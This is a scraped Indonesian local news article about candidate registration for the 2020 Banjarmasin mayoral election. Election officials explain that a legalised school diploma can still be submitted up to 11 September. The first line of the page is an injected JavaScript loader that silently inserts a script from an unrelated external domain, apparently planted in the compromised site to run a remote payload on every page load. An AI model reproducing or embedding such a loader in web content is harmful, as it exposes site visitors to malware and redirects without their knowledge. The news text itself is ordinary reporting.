(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PILKADA BANJARMASIN

Legalisir Ijazah Jadi Persyaratan Calon, KPU: Masih Bisa Diperbaiki Hingga 11 September


KANALKALIMANTAN.COM, BANJARMASIN – Pendaftaran bakal pasangan calon Wali Kota dan Wakil Wali Kota Banjarmasin resmi dimulai sejak Jumat (9/4/2020). Salah satu bakal pasangan calon masih belum melengkapi berkas pendaftaran yakni legalisir ijazah yang menjadi salah satu persyaratan.

Namun, Ketua KPU Kota Banjarmasin Rahmiyati Wahdah meluruskan, itu hanyalah syarat bagi calon, yang artinya bukan sesuatu yang wajib.

“Yang kita cari keabsahan apakah benar.

Karena minimal ijazah adalah SMA.

Meskipun ada title S1 dan S2, tetap kita cari adalah SMA-nya. Apakah sesuai dengan fotokopi dan aslinya,” kata Rahmiyati di Banjarmasin, Jumat (4/9/2020) sore.

Sayangnya, ketika ditanya siapa bakal pasangan calon yang dimaksud, Rahmiyati mengaku tidak mengetahuinya. Namun demikian, Rahmiyati kembali menegaskan, lantaran merupakan syarat calon sehingga bukan sebuah kewajiban, atau dengan kata lain bukanlah syarat untuk pendaftaran bakal calon itu diterima atau ditolak.

“Legalisir pun nantinya diverifikasi dan cari tahu apakah benar. Nantinya kita akan verifikasi ke SMA-nya, apakah benar SMA mengeluarkan ijazah ini,” imbuhnya.

Kendati demikian, batas waktu untuk melengkapi berkas pendaftaran masih panjang, yaitu hingga 11 September mendatang. “Apapun hasilnya dari pendaftaran hari ini, kita berikan tanda terimanya. Nantinya kita akan verifikasi lagi, dan itulah nantinya syarat untuk menetapkan. Karena ada syarat untuk verifikasi perbaikannya lagi,” terangnya.

Terpisah, Ketua Bawaslu Kota Banjarmasin Muhammad Yasar menegaskan, berkas pendaftaran yang lengkap merupakan syarat wajib. Akan tetapi, jika ada yang kurang -seperti legalisir ijazah belum lengkap- dapat dilengkapi di masa perbaikan.

“Iya, kalau tidak dilengkapi (hingga tenggat waktu) bisa jadi TMS (tidak memenuhi syarat). Jadi harus dilengkapi. (Untuk legalisir ijazah) sementara tidak ada masalah. Doakan lancar, mudah-mudahan tidak ada sengketa,” pungkas Yasar. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.